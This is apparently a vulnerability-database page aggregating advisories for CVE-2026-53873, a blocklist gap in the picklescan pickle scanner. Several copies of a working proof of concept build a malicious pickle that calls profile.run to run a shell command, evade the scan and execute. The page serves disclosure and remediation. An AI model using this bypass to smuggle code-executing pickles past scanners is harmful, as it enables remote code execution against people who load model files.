Vulnerability-Lookup

PYSEC-2026-455

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:22

Details

Summary

picklescan v1.0.3 blocks profile.Profile.run and profile.Profile.runctx but does NOT block the module-level profile.run() function. A malicious pickle calling profile.run(statement) achieves arbitrary code execution via exec() while picklescan reports 0 issues. This is because the blocklist entry "Profile.run" does not match the pickle global name "run".

Severity

High — Direct code execution via exec() with zero scanner detection.

Affected Versions

picklescan v1.0.3 (latest — the profile entries were added in recent versions)
Earlier versions also affected (profile not blocked at all)

Details

### Root Cause

In scanner.py line 199, the blocklist entry for profile is:

"profile": {"Profile.run", "Profile.runctx"},

When a pickle file imports profile.run (the module-level function), picklescan's opcode parser extracts: - module = "profile" - name = "run"

The blocklist check at line 414 is:

elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter):

This checks: is "run" in {"Profile.run", "Profile.runctx"}?

Answer: NO. "run" != "Profile.run". The string comparison is exact — there is no prefix/suffix matching.

What `profile.run()` Does

# From Python's Lib/profile.py
def run(statement, filename=None, sort=-1):
    prof = Profile()
    try:
        prof.run(statement)  # Calls exec(statement)
    except SystemExit:
        pass
    ...

profile.run(statement) calls exec(statement) internally, enabling arbitrary Python code execution.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# profile.run("import os; os.system('id')")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 60)
    + sbu("profile") + sbu("run") + b"\x93"
    + sbu("import os; os.system('id')")
    + b"\x85" + b"R" + b"."
)

# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs exec("import os; os.system('id')") → RCE
pickle.loads(payload)
 ```

### Comparison

| Pickle Global | Blocklist Entry | Match? | Result |
 |--------------|-----------------|--------|--------|
| `("profile", "run")` | `"Profile.run"` | NO — `"run" != "Profile.run"` | CLEAN (bypass!) |
| `("profile", "Profile.run")` | `"Profile.run"` | YES | DETECTED |
| `("profile", "runctx")` | `"Profile.runctx"` | NO — `"runctx" != "Profile.runctx"` | CLEAN (bypass!) |

The pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code.

## Impact

`profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely.

## Suggested Fix

Change the `profile` blocklist entry from:
```python
"profile": {"Profile.run", "Profile.runctx"},

to:

"profile": "*",

Or explicitly add the module-level functions:

"profile": {"Profile.run", "Profile.runctx", "run", "runctx"},

Resources

picklescan source: scanner.py line 199 ("profile": {"Profile.run", "Profile.runctx"})
picklescan source: scanner.py line 414 (exact string match logic)
Python source: Lib/profile.py run() function — calls exec()

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Impacted products

Name	purl
picklescan	pkg:pypi/picklescan

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan",
        "purl": "pkg:pypi/picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.1",
        "0.0.10",
        "0.0.11",
        "0.0.12",
        "0.0.13",
        "0.0.14",
        "0.0.15",
        "0.0.16",
        "0.0.17",
        "0.0.18",
        "0.0.19",
        "0.0.2",
        "0.0.20",
        "0.0.21",
        "0.0.22",
        "0.0.23",
        "0.0.24",
        "0.0.25",
        "0.0.26",
        "0.0.27",
        "0.0.28",
        "0.0.29",
        "0.0.3",
        "0.0.30",
        "0.0.31",
        "0.0.32",
        "0.0.33",
        "0.0.34",
        "0.0.35",
        "0.0.4",
        "0.0.5",
        "0.0.6",
        "0.0.7",
        "0.0.8",
        "0.0.9",
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "1.0.3"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53873",
    "GHSA-7wx9-6375-f5wh"
  ],
  "details": "## Summary\n\npicklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `\"Profile.run\"` does not match the pickle global name `\"run\"`.\n\n## Severity\n\n**High** \u2014 Direct code execution via `exec()` with zero scanner detection.\n\n## Affected Versions\n \n- picklescan v1.0.3 (latest \u2014 the profile entries were added in recent versions)\n - Earlier versions also affected (profile not blocked at all)\n\n## Details\n\n ### Root Cause\n\nIn `scanner.py` line 199, the blocklist entry for `profile` is:\n\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\n\nWhen a pickle file imports `profile.run` (the module-level function), picklescan\u0027s opcode parser extracts:\n- `module = \"profile\"`\n- `name = \"run\"`\n\nThe blocklist check at line 414 is:\n\n```python\nelif unsafe_filter is not None and (unsafe_filter == \"*\" or g.name in unsafe_filter):\n```\n\nThis checks: is `\"run\"` in `{\"Profile.run\", \"Profile.runctx\"}`?\n\n**Answer: NO.** `\"run\" != \"Profile.run\"`. The string comparison is exact \u2014 there is no prefix/suffix matching.\n\n### What `profile.run()` Does\n\n```python\n# From Python\u0027s Lib/profile.py\ndef run(statement, filename=None, sort=-1):\n    prof = Profile()\n    try:\n        prof.run(statement)  # Calls exec(statement)\n    except SystemExit:\n        pass\n    ...\n```\n \n`profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# profile.run(\"import os; os.system(\u0027id\u0027)\")\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 60)\n    + sbu(\"profile\") + sbu(\"run\") + b\"\\x93\"\n    + sbu(\"import os; os.system(\u0027id\u0027)\")\n    + b\"\\x85\" + b\"R\" + b\".\"\n)\n\n# picklescan: 0 issues (name \"run\" not in {\"Profile.run\", \"Profile.runctx\"})\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN!\n\n# Execute: runs exec(\"import os; os.system(\u0027id\u0027)\") \u2192 RCE\npickle.loads(payload)\n ```\n\n### Comparison\n\n| Pickle Global | Blocklist Entry | Match? | Result |\n |--------------|-----------------|--------|--------|\n| `(\"profile\", \"run\")` | `\"Profile.run\"` | NO \u2014 `\"run\" != \"Profile.run\"` | CLEAN (bypass!) |\n| `(\"profile\", \"Profile.run\")` | `\"Profile.run\"` | YES | DETECTED |\n| `(\"profile\", \"runctx\")` | `\"Profile.runctx\"` | NO \u2014 `\"runctx\" != \"Profile.runctx\"` | CLEAN (bypass!) |\n\nThe pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code.\n\n## Impact\n\n`profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely.\n \n## Suggested Fix\n\nChange the `profile` blocklist entry from:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\nto:\n```python\n\"profile\": \"*\",\n```\n\nOr explicitly add the module-level functions:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\", \"run\", \"runctx\"},\n```\n\n## Resources\n \n- picklescan source: `scanner.py` line 199 (`\"profile\": {\"Profile.run\", \"Profile.runctx\"}`)\n- picklescan source: `scanner.py` line 414 (exact string match logic)\n- Python source: `Lib/profile.py` `run()` function \u2014 calls `exec()`",
  "id": "PYSEC-2026-455",
  "modified": "2026-07-01T20:22:59.991064Z",
  "published": "2026-06-29T11:50:45.494556Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7wx9-6375-f5wh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53873"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-profile-run-blocklist-bypass"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/picklescan"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-7wx9-6375-f5wh"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PickleScan\u0027s profile.run blocklist mismatch allows exec() bypass"
}

CVE-2026-53873 (GCVE-0-2026-53873)

Vulnerability from cvelistv5 – Published: 2026-06-17 15:05 – Updated: 2026-06-17 18:12

Title

picklescan - Arbitrary Code Execution via profile.run() Blocklist Bypass

Summary

picklescan before 1.0.4 contains an incomplete blocklist for the profile module that fails to block the module-level profile.run() function, allowing attackers to achieve arbitrary code execution via exec(). Attackers can craft malicious pickle files calling profile.run(statement) to execute arbitrary Python code while picklescan reports zero security issues.

Severity

9.3 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-184 - Incomplete List of Disallowed Inputs

Assigner

VulnCheck

References

2 references

URL	Tags
https://github.com/mmaitre314/picklescan/security…	vendor-advisory
https://www.vulncheck.com/advisories/picklescan-a…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
picklescan	picklescan	Affected: 0 , < 1.0.4 (semver) Unaffected: 1.0.4 (semver)

Date Public

2026-03-02 00:00

Credits

yash2998chhabria

Show details on NVD website

JSON

To clipboard

{
  "containers": {
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                "id": "CVE-2026-53873",
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GHSA-7WX9-6375-F5WH

Vulnerability from github – Published: 2026-03-03 20:03 – Updated: 2026-06-18 14:43

Summary

PickleScan's profile.run blocklist mismatch allows exec() bypass

Details

Summary

Severity

High — Direct code execution via exec() with zero scanner detection.

Affected Versions

picklescan v1.0.3 (latest — the profile entries were added in recent versions)
Earlier versions also affected (profile not blocked at all)

Details

Root Cause

In scanner.py line 199, the blocklist entry for profile is:

"profile": {"Profile.run", "Profile.runctx"},

When a pickle file imports profile.run (the module-level function), picklescan's opcode parser extracts: - module = "profile" - name = "run"

The blocklist check at line 414 is:

elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter):

This checks: is "run" in {"Profile.run", "Profile.runctx"}?

Answer: NO. "run" != "Profile.run". The string comparison is exact — there is no prefix/suffix matching.

What `profile.run()` Does

# From Python's Lib/profile.py
def run(statement, filename=None, sort=-1):
    prof = Profile()
    try:
        prof.run(statement)  # Calls exec(statement)
    except SystemExit:
        pass
    ...

profile.run(statement) calls exec(statement) internally, enabling arbitrary Python code execution.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# profile.run("import os; os.system('id')")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 60)
    + sbu("profile") + sbu("run") + b"\x93"
    + sbu("import os; os.system('id')")
    + b"\x85" + b"R" + b"."
)

# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs exec("import os; os.system('id')") → RCE
pickle.loads(payload)

Comparison

Pickle Global	Blocklist Entry	Match?	Result
`("profile", "run")`	`"Profile.run"`	NO — `"run" != "Profile.run"`	CLEAN (bypass!)
`("profile", "Profile.run")`	`"Profile.run"`	YES	DETECTED
`("profile", "runctx")`	`"Profile.runctx"`	NO — `"runctx" != "Profile.runctx"`	CLEAN (bypass!)

The pickle opcode GLOBAL / STACK_GLOBAL resolves profile.run to the MODULE-LEVEL function, not the class method Profile.run. These are different Python objects but both execute arbitrary code.

Impact

profile.run() provides direct exec() execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because exec() can import any module and call any function, bypassing the blocklist entirely.

Suggested Fix

Change the profile blocklist entry from:

"profile": {"Profile.run", "Profile.runctx"},

to:

"profile": "*",

Or explicitly add the module-level functions:

"profile": {"Profile.run", "Profile.runctx", "run", "runctx"},

Resources

picklescan source: scanner.py line 199 ("profile": {"Profile.run", "Profile.runctx"})
picklescan source: scanner.py line 414 (exact string match logic)
Python source: Lib/profile.py run() function — calls exec()

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53873"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-697"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T20:03:35Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\npicklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `\"Profile.run\"` does not match the pickle global name `\"run\"`.\n\n## Severity\n\n**High** \u2014 Direct code execution via `exec()` with zero scanner detection.\n\n## Affected Versions\n\n- picklescan v1.0.3 (latest \u2014 the profile entries were added in recent versions)\n- Earlier versions also affected (profile not blocked at all)\n\n## Details\n\n### Root Cause\n\nIn `scanner.py` line 199, the blocklist entry for `profile` is:\n\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\n\nWhen a pickle file imports `profile.run` (the module-level function), picklescan\u0027s opcode parser extracts:\n- `module = \"profile\"`\n- `name = \"run\"`\n\nThe blocklist check at line 414 is:\n\n```python\nelif unsafe_filter is not None and (unsafe_filter == \"*\" or g.name in unsafe_filter):\n```\n\nThis checks: is `\"run\"` in `{\"Profile.run\", \"Profile.runctx\"}`?\n\n**Answer: NO.** `\"run\" != \"Profile.run\"`. The string comparison is exact \u2014 there is no prefix/suffix matching.\n\n### What `profile.run()` Does\n\n```python\n# From Python\u0027s Lib/profile.py\ndef run(statement, filename=None, sort=-1):\n    prof = Profile()\n    try:\n        prof.run(statement)  # Calls exec(statement)\n    except SystemExit:\n        pass\n    ...\n```\n\n`profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# profile.run(\"import os; os.system(\u0027id\u0027)\")\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 60)\n    + sbu(\"profile\") + sbu(\"run\") + b\"\\x93\"\n    + sbu(\"import os; os.system(\u0027id\u0027)\")\n    + b\"\\x85\" + b\"R\" + b\".\"\n)\n\n# picklescan: 0 issues (name \"run\" not in {\"Profile.run\", \"Profile.runctx\"})\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN!\n\n# Execute: runs exec(\"import os; os.system(\u0027id\u0027)\") \u2192 RCE\npickle.loads(payload)\n```\n\n### Comparison\n\n| Pickle Global | Blocklist Entry | Match? | Result |\n|--------------|-----------------|--------|--------|\n| `(\"profile\", \"run\")` | `\"Profile.run\"` | NO \u2014 `\"run\" != \"Profile.run\"` | CLEAN (bypass!) |\n| `(\"profile\", \"Profile.run\")` | `\"Profile.run\"` | YES | DETECTED |\n| `(\"profile\", \"runctx\")` | `\"Profile.runctx\"` | NO \u2014 `\"runctx\" != \"Profile.runctx\"` | CLEAN (bypass!) |\n\nThe pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code.\n\n## Impact\n\n`profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely.\n\n## Suggested Fix\n\nChange the `profile` blocklist entry from:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\nto:\n```python\n\"profile\": \"*\",\n```\n\nOr explicitly add the module-level functions:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\", \"run\", \"runctx\"},\n```\n\n## Resources\n\n- picklescan source: `scanner.py` line 199 (`\"profile\": {\"Profile.run\", \"Profile.runctx\"}`)\n- picklescan source: `scanner.py` line 414 (exact string match logic)\n- Python source: `Lib/profile.py` `run()` function \u2014 calls `exec()`",
  "id": "GHSA-7wx9-6375-f5wh",
  "modified": "2026-06-18T14:43:20Z",
  "published": "2026-03-03T20:03:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7wx9-6375-f5wh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53873"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-profile-run-blocklist-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PickleScan\u0027s profile.run blocklist mismatch allows exec() bypass"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

PYSEC-2026-455

Summary

Severity

Affected Versions

Details

What profile.run() Does

Proof of Concept

Resources

CVE-2026-53873 (GCVE-0-2026-53873)

GHSA-7WX9-6375-F5WH

Summary

Severity

Affected Versions

Details

Root Cause

What profile.run() Does

Proof of Concept

Comparison

Impact

Suggested Fix

Resources

Tags

Sightings

Nomenclature

What `profile.run()` Does

What `profile.run()` Does